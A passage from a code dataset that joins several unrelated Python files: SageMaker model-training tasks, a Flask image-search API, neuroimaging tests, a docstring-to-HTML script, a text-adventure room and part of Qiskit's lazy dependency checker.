get_file_name(i, j, k, local_output_folder_cells) \n                    local_file_name = local_file_name + \"_final.png\"\n                    my_file = Path(local_file_name)\n                    if not my_file.is_file():\n                        print(\"Path is invalid:\" + str(local_file_name))\n                        continue\n                    train_file_path = get_local_new_train_data(user_name, v, id, file_order)\n                    train_folder = get_local_train_folder_for_label(user_name, v)\n                    if not os.path.exists(train_folder):\n                        os.makedirs(train_folder)\n                    new_local_file_name = local_file_name + \"_new.png\"\n                    imageprepare(local_file_name, new_local_file_name)\n                    copyfile(new_local_file_name, train_file_path)\n                    s3_file_name = get_s3_folder_cells(user_name, id, file_order)\n                    files_to_upload.append((s3_file_name, new_local_file_name, v))\n    print('Uploading files to s3....')\n    for file_pair in files_to_upload:\n        s3_file_name = file_pair[0]\n        local_file_name = file_pair[1]\n        expected_char = file_pair[2]\n        upload_file(s3_file_name, local_file_name) \n        write_cell_data(s3_file_name, expected_char, item)\n    item.state = ImageSheet.PROCESSE2\n    item.save()\n    print('FINISHED uploading files to s3!')\n\n\ndef send_log(user_name, log_message):\n    pass\n    #Group('user-' + user_name).send({\n    #    \"text\": json.dumps({\n    #        \"log\": log_message\n    #    })\n    #})\n\ndef get_tensorflow_(\n    role, len_subset, checkpoint_path, \n    training_steps=20000, \n    evaluation_steps=100, \n    instance_type='ml.c4.xlarge', \n    instance_count=1):\n    mnist_estimator = TensorFlow(\n                                entry_point='/Users/nghia/rec_table/web/turk/catalog/mnist_sagemaker.py',\n                                role=role,\n                                checkpoint_path = checkpoint_path,\n                                #train_max_run = 10 * 60,  # Let it run 10mins only\n                                training_steps=training_steps, \n                                evaluation_steps=evaluation_steps,\n                                train_instance_count=instance_count,\n                                train_instance_type=instance_type,\n                                hyperparameters = {\n                                 'len_subset': len_subset\n                                })\n    return mnist_estimator\n\ndef prepare_checkpoint_(origin_subset_name, user_name):\n    user_checkpoint_path = get_user_checkpoint(user_name, origin_subset_name)\n    if check_s3_exist(user_checkpoint_path):\n        print('Path :', user_checkpoint_path, ' exists')\n        return\n    common_checkpoint_path = get_user_checkpoint(DEFAULT_USERNAME, origin_subset_name)\n    copy_s3_folder(common_checkpoint_path, user_checkpoint_path)\n    print(\"Done with copy the \", common_checkpoint_path, \" ===> \", user_checkpoint_path)\n\n    \ndef train_data_(\n    inputs, role, job_name, len_subset, checkpoint_path, instance_type='ml.c4.xlarge', instance_count=1, \n    training_steps=20000, evaluation_steps=100, \n    debug=False, debug_job_name='nghia-2018-04-06-1'):\n\n    mnist_estimator = get_tensorflow_(\n        role, len_subset, checkpoint_path, training_steps, evaluation_steps, instance_type, instance_count)\n#    try:\n    if ENABLE_STAGE and STAGE == STAGE_JOB:\n        print(\"Trying to create job_name ENABLE_STAGE=\" + job_name)\n        mnist_estimator.fit(inputs, wait = True, job_name=job_name)\n        return mnist_estimator\n    if debug:\n        print(\"Trying to attached job_name=\" + debug_job_name)\n        mnist_estimator = TensorFlow.attach(debug_job_name)\n        return mnist_estimator\n    if ENABLE_STAGE and STAGE == STAGE_CREATE_ENDPOINT:\n        print(\"Trying to attached job_name=\" + debug_job_name)\n        mnist_estimator = TensorFlow.attach(job_name)\n        return mnist_estimator\n    print(\"Trying to create job_name=\" + job_name)\n    mnist_estimator.fit(inputs, wait = True, job_name=job_name)\n#    except:\n#        print(\"Unexpected error:\", sys.exc_info())\n#        return None\n    return mnist_estimator\n\ndef create_model(mnist_estimator, instance_type='ml.c4.xlarge'):\n    model = mnist_estimator.create_model()\n    container_def = model.prepare_container_def(instance_type)\n    model_name = name_from_image(container_def['Image'])\n    print(\"Getting model name=\" + model_name)\n    model.sagemaker_session.create_model(model_name, mnist_estimator.role, container_def)\n    return model, model_name\n\n@background(schedule=60)\ndef update_endpoint_task(job_name, model_name, user_name, origin_subset_name):\n    instance_type =  settings.SAGEMAKER_INSTANCE_TYPE\n    initial_instance_count = settings.SAGEMAKER_INITIAL_INSTANCE_COUNT\n    production_variant = sagemaker.production_variant(\n        model_name, instance_type, \n        initial_instance_count, \n        variant_name=origin_subset_name.replace('_','-'))\n\n    print(\"Attempt to attach existing job_name:\", job_name)\n    mnist_estimator = TensorFlow.attach(job_name)\n    model = mnist_estimator.create_model()\n    print(\"Attempt to update endpoint...\")\n    update_endpoint(job_name, model, model_name, user_name, origin_subset_name)\n    print(\"Done update endpoint\")\n\ndef update_endpoint(job_name, model, model_name, user_name, origin_subset_name):\n    instance_type =  settings.SAGEMAKER_INSTANCE_TYPE\n    initial_instance_count = settings.SAGEMAKER_INITIAL_INSTANCE_COUNT\n\n    production_variant = sagemaker.production_variant(\n        model_name, instance_type, \n        initial_instance_count)\n\n    endpoint_name = get_endpoint_name(user_name, origin_subset_name)\n    client = model.sagemaker_session.sagemaker_client\n    timestamp = time.strftime('%Y-%m-%d-%H-%M-%S', time.gmtime())\n    try:\n        response = client.describe_endpoint(EndpointName=endpoint_name)\n        print(\"Response describe_endpoint = \" + str(response))\n    except:\n        response = {}\n    endpoint_config_name = user_name + '-endpoint-config-name-' +  timestamp\n    if 'EndpointArn' in response:\n        if response['EndpointStatus'] != 'InService':\n            update_endpoint_task(job_name, model_name, user_name, origin_subset_name)\n            return\n        #Update existing endpoint\n        print('Update existing endpoint ', endpoint_name, ' with product_variant:', production_variant)\n        response = client.create_endpoint_config(\n            EndpointConfigName=endpoint_config_name, ProductionVariants=[production_variant])\n        print(\"Create new endpoint config response=\" + str(response))\n        update_endpoint_response = client.update_endpoint(\n            EndpointName=endpoint_name, EndpointConfigName=endpoint_config_name)\n        print(\"Update endpoint response = \", update_endpoint_response)\n    else:  \n        #Create new endpoint\n        print('Create new endpoint ', endpoint_name, ' with product_variant:', production_variant)\n        model.sagemaker_session.endpoint_from_production_variants(endpoint_name, [production_variant], wait=False)\n\ndef get_mapping_index_(origin_subset):\n    subset = []\n    for character in origin_subset:\n        subset.append(char_to_label_index(character))\n    return subset\n\ndef to_local_tf_record_(user_name, result_folder, origin_subset_name, origin_subset):\n    subset = get_mapping_index_(origin_subset)\n    print(\"subset=\", subset)\n    data_types = ['train', 'validation', 'test']\n    data_sets = {}\n    if user_name != DEFAULT_USERNAME:\n        data_sets = read_data_sets(\n            result_folder, dtype=dtypes.uint8, subset = subset, validation_size=5000)\n    else:\n        emnist_folder = get_emnist_cache_folder()\n        data_sets = read_data_sets(\n            emnist_folder, prefix=\"emnist-byclass-\", dtype=dtypes.uint8, subset=subset, validation_size=5000)\n\n    local_tf_record_folder = get_local_tf_record_folder(user_name, origin_subset_name) \n    if os.path.exists(local_tf_record_folder): \n        shutil.rmtree(local_tf_record_folder)\n    os.makedirs(local_tf_record_folder)\n\n    train_filename = convert_to(data_sets['train'], 'train', local_tf_record_folder)\n    validation_filename = convert_to(data_sets['validation'], 'validation', local_tf_record_folder)\n    test_filename = convert_to(data_sets['test'], 'test', local_tf_record_folder)\n    return train_filename, validation_filename, test_filename\n\ndef upload_tfrecord_(user_name, result_folder, origin_subset_name, origin_subset):\n    train_filename, validation_filename, test_filename = (\n        to_local_tf_record_(user_name, result_folder, origin_subset_name, origin_subset))\n\n    # Get S3 destination\n    s3_folder = get_s3_folder_bucket_training_data(user_name, origin_subset_name)\n    train_s3 = os.path.join(s3_folder, os.path.split(train_filename)[1])\n    validation_s3 = os.path.join(s3_folder, os.path.split(validation_filename)[1])\n    test_s3 = os.path.join(s3_folder, os.path.split(test_filename)[1])\n\n    #Upload file to S3\n    print(\"Upload file to S3\")\n    upload_file(train_s3, train_filename)\n    print(\"Uploaded to : \" + train_s3)\n    upload_file(validation_s3, validation_filename)\n    print(\"Uploaded to : \" + validation_s3)\n    upload_file(test_s3, test_filename)\n    print(\"Uploaded to : \" + test_s3)\n\ndef get_global_step_(checkpoint_path):\n    s3 = boto3.resource('s3')\n    obj = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME).Object('nghia/checkpoint/nghia-0-9-job/checkpoints/checkpoint')\n    res = obj.get()['Body'].read().decode('utf-8') \n    first_line = res.split('\\n', 1)[0]\n    return int(re.search('(?<=ckpt-)\\d+', first_line).group(0))\n\ndef upload_and_train_(user_name, result_folder, origin_subset_name, origin_subset):\n\n    if ENABLE_STAGE and STAGE==STAGE_UPLOAD:\n        upload_tfrecord_(user_name, result_folder, origin_subset_name, origin_subset)\n    if not ENABLE_STAGE:\n        upload_tfrecord_(user_name, result_folder, origin_subset_name, origin_subset)\n\n    # Setup settings\n    print(\"Start training now for user_name=\" + user_name)\n    inputs = get_input_training_s3(user_name, origin_subset_name) \n    print(\"inputs=\" + inputs)\n    instance_type =  settings.SAGEMAKER_INSTANCE_TYPE\n    initial_instance_count = settings.SAGEMAKER_INITIAL_INSTANCE_COUNT\n    role = settings.SAGEMAKER_ROLE\n    job_name = get_job_name(user_name, origin_subset_name)\n    print(\"Job name =\" + job_name)\n\n    # Prepare checkpoint data\n    prepare_checkpoint_(origin_subset_name, user_name)\n    # Train Data\n    user_checkpoint_path = get_s3_checkpoint_path(user_name, origin_subset_name)\n    print(\"S3 Usercheckpoint = \", user_checkpoint_path)\n    print(\"Inputs tfrecord path = \", inputs)\n\n    cur_training_steps = get_global_step_(user_checkpoint_path) + 3000\n    mnist_estimator = train_data_(\n        inputs, role, job_name, len(origin_subset), \n        user_checkpoint_path,\n        instance_type = instance_type, training_steps=cur_training_steps, evaluation_steps=100)\n    print(\"Done with fit for job_name=\" + job_name)\n    if not mnist_estimator:\n        print(\"Error when executing fit on training data\\n\\n\\n\")\n        return\n    \n    if ENABLE_STAGE and STAGE != STAGE_CREATE_ENDPOINT:\n        print(\"Not createing endpoint yet ... Quit!\\n\\n\\n\")\n        return\n\n    # Create model\n    model, model_name = create_model(mnist_estimator, instance_type=instance_type)\n    print(\"Created model name = \" + model_name)\n\n    update_endpoint(job_name, model, model_name, user_name, origin_subset_name)\n\ndef retrain_newdata(user_name, origin_subset_name, origin_subset):\n    print(\"===========Starting to retrain data:\", ','.join(str(x) for x in origin_subset), \"===========\")\n    user_model_folder = get_neural_net_data_folder(user_name)\n    trained_filename = os.path.join(user_model_folder, origin_subset_name.replace('-', '_'))\n    print(\"-->Trained filename:\", trained_filename)\n    model_folder_after_retrain = get_neural_net_data_folder_after_retrain(user_name)\n    new_trained_filename = os.path.join(model_folder_after_retrain, origin_subset_name)\n    graph = tf.Graph()\n    session = tf.Session(graph=graph)\n    num_steps = 2 \n    mnist_folder = get_mnist_local_folder(user_name)\n    mnist = read_data_sets(mnist_folder, prefix=\"\", subset = origin_subset, one_hot = True)\n    print(mnist)\n    with graph.as_default():\n        new_saver = tf.train.import_meta_graph(trained_filename + '.meta') \n        new_saver.restore(session, trained_filename)\n        x = graph.get_tensor_by_name(\"x:0\") \n        y_ = graph.get_tensor_by_name(\"y_:0\")\n        keep_prob = graph.get_tensor_by_name(\"keep_prob:0\")\n        train_step = tf.get_collection(\"train_step\")[0]\n        accuracy = tf.get_collection('accuracy')[0]\n        train_accuracy = 0.0\n        for i in range(num_steps):\n            batch = mnist['train'].next_batch(50) \n            if i % 10 == 0:\n                train_accuracy = session.run(accuracy, feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0})\n            print('step %d, training accuracy %g' % (i, train_accuracy))    \n            session.run(train_step, feed_dict={'x:0': batch[0], 'y_:0': batch[1], keep_prob: 0.5})\n        #print('test accuracy %g' % session.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0}))    \n        print(\"Save to new_trained_filename:\" + new_trained_filename)\n        new_saver.save(session, new_trained_filename)\n        print(\"<=====Done\\n\")\n\n@background(schedule=1)\ndef upload_new_training_record(user_name):\n    user = User.objects.get(username=user_name)\n    if user and user.email:\n        email(\"Neural network retrain is starting now\", user_name, user.email)\n    training_image_dir = get_local_train_folder(user_name)\n    test_image_dir = training_image_dir\n    result_folder = get_mnist_local_folder(user_name)\n\n    local_user_model_folder = get_neural_net_data_folder(user_name)\n\n    # Convert user image to mnist folder\n    print(\"Convert to mnist folder : \")\n    print(\"--> training_image_dir :\", training_image_dir)\n    print(\"--> test_image_dir : \", test_image_dir)\n    print(\"--> result_folder : \", result_folder)\n    convert_to_mnist(training_image_dir, test_image_dir, result_folder, ACCEPTED_LABEL) \n\n    remote_model_foldername = get_user_model_remote_folder(user_name)\n    print(\"local_user_model_folder=\" + local_user_model_folder)\n\n    model_folder_after_retrain = get_neural_net_data_folder_after_retrain(user_name)\n    if os.path.isdir(model_folder_after_retrain): \n        copy_from_trained_neural_net(model_folder_after_retrain, user_name)\n    else:    \n        copy_master_neural_net_from_default(user_name)\n    #\n    #for subset in ALL_SUBSETS:\n    #    origin_subset_name = subset['name'].replace('-', '_')\n    #    remote_model_fullname = os.path.join(remote_model_foldername, origin_subset_name)\n    #    local_model_fullname = os.path.join(local_user_model_folder, origin_subset_name)\n    #    print(\"--->Attempt to sync : \")\n    #    print(\"remote_model_fullname=\" + remote_model_fullname)\n    #    print(\"local_model_fullname=\" + local_model_fullname)\n    #    if check_s3_file_exists(remote_model_fullname):\n    #        print(\"=======> Overwrite the local_model_fullname=\" + local_model_fullname)\n    #        write_file(remote_model_foldername, local_model_fullname)\n    #    print(\"\\n\")\n   \n    # Start the training process now.\n    for subset in ALL_SUBSETS:\n        origin_subset_name = subset['name']\n        origin_subset = subset['characters']\n        retrain_newdata(user_name, origin_subset_name.replace('-', '_'), origin_subset) \n    user_model_folder = get_neural_net_data_folder(user_name)\n    upload_to_s3folder(user_model_folder, remote_model_foldername)\n    if user and user.email:\n        email(\"Neural network retrain is done\", user_name, user.email)","repo_name":"nghiank/rec_table","sub_path":"web/turk/catalog/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":18946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13760784176","text":"from flask import Flask,request,jsonify\nfrom flask_cors import CORS\nimport nmslib\nimport pathlib\nimport os\nimport pandas as pd\nfrom fastai.basic_train import load_learner\nfrom fastai.vision import open_image\nfrom sentence_transformers import SentenceTransformer\n\napp = Flask(__name__)\nCORS(app)\n\n\"\"\"Set all paths\"\"\"\nIMG_PATH = os.path.join(os.path.dirname(__file__), 'Images')\nMODEL_PATH = './'\nIDX_PATH = './query_idx'\n\n\"\"\"Load required files\"\"\"\npath_map = pd.read_csv('./path_map.csv').to_dict()['path']\nlearn = load_learner(MODEL_PATH, 'flickr8k_inf.pkl')\n\nquery_idx = nmslib.init(space='angulardist')\nquery_idx.loadIndex(IDX_PATH, load_data=True)\n\nsentence_embedder = SentenceTransformer('roberta-large-nli-stsb-mean-tokens')\n\n\"\"\"Define all functions\"\"\"\ndef get_knn(index, vec, k=10):  return index.knnQuery(vec, k=k)\n\ndef text2embedding(text):   return sentence_embedder.encode(text)\n\ndef get_sim(emb, n_imgs):\n    idxs, dists = get_knn(query_idx, emb, n_imgs)\n    paths = [IMG_PATH+'/'+path_map[idx] for idx in idxs]\n    return paths, dists\n\ndef search_sim(query, is_caption, n_imgs = 10):\n    if is_caption:\n        emb = text2embedding(query)\n        img_paths, dists = get_sim(emb, n_imgs)\n    else:\n        img = open_image(query)\n        _, _, pred = learn.predict(img)\n        img_paths, dists = get_sim(pred, n_imgs)\n    return img_paths, dists\n\n@app.route(\"/ml\", methods=[\"POST\"])  # Creating a decorator\ndef search():\n  if request.method == 'POST':\n    print(\"img path\", IMG_PATH)\n    request_data = request.get_json()\n    print(\"request_data:\", request_data)\n    print(\"image_no\", request_data['image_no'])\n    if 'image' in request_data:\n      img_paths, dists = search_sim(request_data['image'], False, request_data['image_no'])\n    else:\n      img_paths, dists = search_sim(request_data['text'], True, request_data['image_no'])\n\n    dists = dists.tolist()\n    data = {\n      'images': img_paths,\n      'dists': dists\n    }\n    # print(\"immg_paths\", img_paths)\n    # print(\"img_path dtype\", type(img_paths))\n    # print(\"dists:\", dists)\n    # print(\"dists type:\", type(dists))\n    print(\"DATA: \", data)\n    return jsonify(data)\n\n  return jsonify({\"message\" : \"Didn't perform search for similar images\"})\n\n\nif __name__==\"__main__\":\n  app.run(debug=True,host='0.0.0.0',port = 8081)","repo_name":"amit-d-bahir/MultiModal-Image-Retrieval-System","sub_path":"MachineLearning/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1897787252","text":"import os\nimport os.path as op\nimport numpy   as np\nfrom   boyle.nifti      import NeuroImage\nfrom   boyle.nifti.mask import load_mask_data, apply_mask\n\nfrom   test_data import msk2path, std2path\n\n\ndef test_load_neuroimage():\n    nimg     = NeuroImage(msk2path)\n    assert(isinstance(nimg, NeuroImage))\n    assert(not nimg.has_data_loaded())\n\n\ndef test_neuroimage_load_data():\n    nimg = NeuroImage(msk2path)\n    _ = nimg.get_data()\n    assert(nimg.has_data_loaded())\n\n\ndef test_neuroimage_apply_mask():\n    mskpath = msk2path\n    stdpath = std2path\n\n    nimg = NeuroImage(stdpath)\n\n    nimg.set_mask(mskpath)\n    nimasked_data, _, _ = nimg.mask_and_flatten()\n    assert(nimg._is_data_masked)\n\n    masked_data, indices = apply_mask(stdpath, mskpath)\n\n    assert(np.all(masked_data == nimasked_data))\n\n\ndef test_neuroimage_get_masked_data_copies():\n    mskpath = msk2path\n    stdpath = std2path\n\n    nimg = NeuroImage(stdpath)\n\n    nimg.set_mask(mskpath)\n    nimasked_data = nimg.get_data(safe_copy=True)\n    assert(not nimg._is_data_masked)\n\n    masked_data = nimg.get_data(masked=False, safe_copy=False)\n    assert(not np.all(nimasked_data == masked_data))\n\n    _ = nimg.get_data(masked=True, safe_copy=False)\n    assert(nimg._is_data_masked)\n\n\ndef test_neuroimage_smooths():\n    stdpath = std2path\n\n    nimg = NeuroImage(stdpath)\n\n    nimg.smooth_fwhm = 10\n    smoo10 = nimg.get_data(safe_copy=True)\n    assert(not nimg._is_data_smooth)\n\n    nimg.smooth_fwhm = 20\n    smoo20 = nimg.get_data(safe_copy=False)\n    assert(nimg._is_data_smooth)\n    assert(not np.all(smoo10 == smoo20))\n\n\ndef test_neuroimage_to_file():\n    mskpath = msk2path\n    stdpath = std2path\n    outpath = 'test.nii.gz'\n    nimg = NeuroImage(stdpath)\n\n    nimg.set_mask(mskpath)\n\n    nimg.to_file(outpath)\n    assert(op.exists(outpath))\n    os.remove(outpath)\n\n# def test_apply_mask_4d_applies():\n#     mskpath = op.join(os.environ['FSLDIR'], 'data/standard/MNI152_T1_3mm_brain_mask.nii.gz')\n#     imgpath = 'residual_warp.nii.gz'\n#     if not op.exists(imgpath):\n#         print('Could not find imgpath to test.')\n#         assert(False)\n#\n#     mask_data, affine = load_mask_data(mskpath)\n#     masked_data, indices, shape = apply_mask_4d(imgpath, mskpath)\n#\n#     assert(np.sum(mask_data) == masked_data.shape[0])\n\n","repo_name":"Neurita/boyle","sub_path":"tests/nifti/test_neuroimage.py","file_name":"test_neuroimage.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"26302416815","text":"import importlib\nimport sys\nimport numpy\n\n\n\ndef get_all_defs(temp):\n    list_of_func = []\n    for i in temp:\n        if(i[0] is not '_'):\n            list_of_func.append(i)\n    return list_of_func\n\n#-------------------------------------\n#MAIN Q1\n#-------------------------------------\n\n\nif __name__ == \"__main__\":\n\n    \"\"\"\n    In order to write an HTML file from a different model and not from the example,\n    you need run in the terminal somting like that:\n    \"python doc_to_html.py moduleName.py htmlNameToWrite.html\"\n    \"\"\"\n    \n    args=sys.argv\n    m_name = \"\"\n    w_name = \"\"\n    if(len(args)<3):\n        m_name = \"homeworkmodule\"\n        w_name = \"mydoc.html\"\n    else:\n        m_name = args[1]\n        m_name = m_name[0:(len(m_name)-3)]\n        w_name = args[2]\n    hm = importlib.import_module(m_name)\n\n    \n    s=\"<!DOCTYPE html>\\n\\t<html>\\n\\t\\t<head>\\n\\t\\t\\t<title>Moudle</title>\\n\\t\\t</head>\\n\"\n    s+=\"\\t\\t<body>\\n\"\n    s+=\"\\t\\t\\t<h1>\"+str(m_name)+\"</h1>\\n\"\n    s+=\"\\t\\t\\t<p>\\n\"+str(hm.__doc__)+\"\\n\\t\\t\\t</p>\\n\"\n    s+=\"\\t\\t\\t<h2>functions:</h2>\\n\"\n    list_of_func = get_all_defs(dir(hm))\n\n    for i in list_of_func:\n        s+=\"\\t\\t\\t<h3>function name\"+i+\"</h3>\\n\"  \n        def_i = getattr(hm, str(i))   \n        s+=\"\\t\\t\\t<p>input method name \"+str(def_i.__annotations__) +\"</p>\\n\"  \n        s+=\"\\t\\t\\t<p>doc:\\n \"+str(def_i.__doc__) +\"\\n\\t\\t\\t</p>\\n\"  \n    s+=\"\\t\\t</body>\\n\"\n    s+=\"\\t</html>\\n\"\n\n    f = open(w_name,'w')\n    f.write(s)\n    f.close()\n\n\n","repo_name":"LIADN7/EX_research_algorithms","sub_path":"Ex03/doc_to_html.py","file_name":"doc_to_html.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37073776859","text":"\"\"\"\r\nSecond room\r\n\"\"\"\r\nfrom fiiction.room_helpers import Cavern\r\nfrom fiiction.dir import South\r\n\r\n\r\nclass second_room(Cavern):\r\n    \r\n    room_name = \"another cave\"\r\n    \r\n    room_init_description = \"\"\r\n                            \r\n    room_description = \"This is a pretty shitty room.\"\r\n    \r\n    def create_room(self):\r\n        \r\n        Cavern.create_room(self)        \r\n        self.exits [\"south\"] = South(self.game.rooms['start_room']);\r\n","repo_name":"Fiona/fiiction","sub_path":"src/demo/rooms/second_room.py","file_name":"second_room.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"26678634927","text":"import abc\nimport contextlib\nimport functools\nimport importlib\nimport subprocess\nimport typing\nfrom typing import Union, Iterable, Dict, Optional, Callable, Type\n\nfrom qiskit.exceptions import MissingOptionalLibraryError\nfrom .classtools import wrap_method\n\n\nclass _RequireNow:\n    \"\"\"Helper callable that accepts all function signatures and simply calls\n    :meth:`.LazyDependencyManager.require_now`.  This helpful when used with :func:`.wrap_method`,\n    as the callable needs to be compatible with all signatures and be picklable.\"\"\"\n\n    __slots__ = (\"_tester\", \"_feature\")\n\n    def __init__(self, tester, feature):\n        self._tester = tester\n        self._feature = feature\n\n    def __call__(self, *_args, **_kwargs):\n        self._tester.require_now(self._feature)\n\n\nclass LazyDependencyManager(abc.ABC):\n    \"\"\"A mananger for some optional features that are expensive to import, or to verify the\n    existence of.\n\n    These objects can be used as Booleans, such as ``if x``, and will evaluate ``True`` if the\n    dependency they test for is available, and ``False`` if not.  The presence of the dependency\n    will only be tested when the Boolean is evaluated, so it can be used as a runtime test in\n    functions and methods without requiring an import-time test.\n\n    These objects also encapsulate the error handling if their dependency is not present, so you can\n    do things such as::\n\n        from qiskit.utils import LazyImportManager\n        HAS_MATPLOTLIB = LazyImportManager(\"matplotlib\")\n\n        @HAS_MATPLOTLIB.require_in_call\n        def my_visualisation():\n            ...\n\n        def my_other_visualisation():\n            # ... some setup ...\n            HAS_MATPLOTLIB.require_now(\"my_other_visualisation\")\n            ...\n\n        def my_third_visualisation():\n            if HAS_MATPLOTLIB:\n                from matplotlib import pyplot\n            else:\n                ...\n\n    In all of these cases, ``matplotlib`` is not imported until the functions are entered.  In the\n    case of the decorator, ``matplotlib`` is tested for import when the function is called for\n    the first time.  In the second and third cases, the loader attempts to import ``matplotlib``\n    when the :meth:`require_now` method is called, or when the Boolean context is evaluated.  For\n    the ``require`` methods, an error is raised if the library is not available.\n\n    This is the base class, which provides the Boolean context checking and error management.  The\n    concrete classes :class:`LazyImportTester` and :class:`LazySubprocessTester` provide convenient\n    entry points for testing that certain symbols are importable from modules, or certain\n    command-line tools are available, respectively.\n    \"\"\"\n\n    __slots__ = (\"_bool\", \"_callback\", \"_name\", \"_install\", \"_msg\")\n\n    def __init__(self, *, name=None, callback=None, install=None, msg=None):\n        \"\"\"\n        Args:\n            name: the name of this optional dependency.\n            callback: a callback that is called immediately after the availability of the library is\n                tested with the result.  This will only be called once.\n            install: how to install this optional dependency.  Passed to\n                :class:`.MissingOptionalLibraryError` as the ``pip_install`` parameter.\n            msg: an extra message to include in the error raised if this is required.\n        \"\"\"\n        self._bool = None\n        self._callback = callback\n        self._name = name\n        self._install = install\n        self._msg = msg\n\n    @abc.abstractmethod\n    def _is_available(self) -> bool:\n        \"\"\"Subclasses of :class:`LazyDependencyManager` should override this method to implement the\n        actual test of availability.  This method should return a Boolean, where ``True`` indicates\n        that the dependency was available.  This method will only ever be called once.\n\n        :meta public:\n        \"\"\"\n        return False\n\n    def __bool__(self):\n        if self._bool is None:\n            self._bool = self._is_available()\n            if self._callback is not None:\n                self._callback(self._bool)\n        return self._bool\n\n    @typing.overload\n    def require_in_call(self, feature_or_callable: Callable) -> Callable:\n        ...\n\n    @typing.overload\n    def require_in_call(self, feature_or_callable: str) -> Callable[[Callable], Callable]:\n        ...\n\n    def require_in_call(self, feature_or_callable):\n        \"\"\"Create a decorator for callables that requires that the dependency is available when the\n        decorated function or method is called.\n\n        Args:\n            feature_or_callable (str or Callable): the name of the feature that requires these\n                dependencies.  If this function is called directly as a decorator (for example\n                ``@HAS_X.require_in_call`` as opposed to\n                ``@HAS_X.require_in_call(\"my feature\")``), then the feature name will be taken to be\n                the function name, or class and method name as appropriate.\n\n        Returns:\n            Callable: a decorator that will make its argument require this dependency before it is\n            called.\n        \"\"\"\n        if isinstance(feature_or_callable, str):\n            feature = feature_or_callable\n\n            def decorator(function):\n                @functools.wraps(function)\n                def out(*args, **kwargs):\n                    self.require_now(feature)\n                    return function(*args, **kwargs)\n\n                return out\n\n            return decorator\n\n        function = feature_or_callable\n        feature = (\n            getattr(function, \"__qualname__\", None)\n            or getattr(function, \"__name__\", None)\n            or str(function)\n        )\n\n        @functools.wraps(function)\n        def out(*args, **kwargs):\n            self.require_now(feature)\n            return function(*args, **kwargs)\n\n        return out\n\n    @typing.overload\n    def require_in_instance(self, feature_or_class: Type) -> Type:\n        ...\n\n    @typing.overload\n    def require_in_instance(self, feature_or_class: str) -> Callable[[Type], Type]:\n        ...\n\n    def require_in_instance(self, feature_or_class):\n        \"\"\"A class decorator that requires the dependency is available when the class is\n        initialised.  This decorator can be used even if the class does not define an ``__init__``\n        method.\n\n        Args:\n            feature_or_class (str or Type): the name of the feature that requires these\n                dependencies.  If this function is called directly as a decorator (for example\n                ``@HAS_X.require_in_instance`` as opposed to\n                ``@HAS_X.require_in_instance(\"my feature\")``), then the feature name will be taken\n                as the name of the class.\n\n        Returns:\n            Callable: a class decorator that ensures that the wrapped feature is present if the\n            class is initialised.\n        \"\"\"\n        if isinstance(feature_or_class, str):\n            feature = feature_or_class\n\n            def decorator(class_):\n                wrap_method(class_, \"__init__\", before=_RequireNow(self, feature))\n                return class_\n\n            return decorator\n\n        class_ = feature_or_class\n        feature = (\n            getattr(class_, \"__qualname__\", None)\n            or getattr(class_, \"__name__\", None)\n            or str(class_)\n        )\n        wrap_method(class_, \"__init__\", before=_RequireNow(self, feature))\n        return class_\n\n    def require_now(self, feature: str):\n        \"\"\"Eagerly attempt to import the dependencies in this object, and raise an exception if they\n        cannot be imported.\n\n        Args:\n            feature: the name of the feature that is requiring these dependencies.\n\n        Raises:\n            MissingOptionalLibraryError: if the dependencies cannot be imported.\n        \"\"\"\n        if self:\n            return\n        raise MissingOptionalLibraryError(\n            libname=self._name, name=feature, pip_install=self._install, msg=self._msg\n        )\n\n    @contextlib.contextmanager\n    def disable_locally(self):\n        \"\"\"\n        Create a context, during which the value of the dependency manager will be ``False``.  This\n        means that within the context, any calls to this object will behave as if the dependency is\n        not available, including raising errors.  It is valid to call this method whether or not the\n        dependency has already been evaluated.  This is most useful in tests.\n        \"\"\"\n        previous = self._bool\n        self._bool = False\n        try:\n            yield\n        finally:\n            self._bool = previous\n\n\nclass LazyImportTester(LazyDependencyManager):\n    \"\"\"A lazy dependency tester for importable Python modules.  Any required objects will only be\n    imported at the point that this object is tested for its Boolean value.\"\"\"\n\n    __slots__ = (\"_modules\",)\n\n    def __init__(\n        self,\n        name_map_or_modules: Union[str, Dict[str, Iterable[str]], Iterable[str]],\n        *,\n        name: Optional[str] = None,\n        callback: Optional[Callable[[bool], None]] = None,\n        install: Optional[str] = None,\n        msg: Optional[str] = None,\n    ):\n        \"\"\"\n        Args:\n            name_map_or_modules: if a name map, then a dictionary where the keys are modules or\n                packages, and the values are iterables of names to try and import from that\n                module.  It should be valid to write ``from <module> import <name1>, <name2>, ...``.\n                If simply a string or iterable of strings, then it should be valid to write\n                ``import <module>`` for each of them.\n\n        Raises:\n            ValueError: if no modules are given.\n        \"\"\"\n        if isinstance(name_map_or_modules, dict):\n            self._modules = {module: tuple(names) for module, names in name_map_or_modules.items()}\n        elif isinstance(name_map_or_modules, str):\n            self._modules = {name_map_or_modules: ()}\n        else:\n            self._modules = {module: () for module in name_map_or_modules}\n        if not self._modules:\n            raise ValueError(\"no modules supplied\")\n        if name is not None:\n            pass\n        elif len(self._modules) == 1:\n            (name,) = self._modules.keys()\n        else:\n            all_names = tuple(self._modules.keys())\n            name = f\"{', '.join(all_names[:-1])} and {all_names[-1]}\"\n        super().__init__(name=name, callback=callback, install=install, msg=msg)\n\n    def _is_available(self):\n        try:\n            for module, names in self._modules.items():\n                imported = importlib.import_module(module)\n                for name in names:\n                    getattr(imported, name)\n        except (ImportError, AttributeError):\n            return False\n        return True\n\n\nclass LazySubprocessTester(LazyDependencyManager):\n    \"\"\"A lazy checker that a command-line tool is available.  The 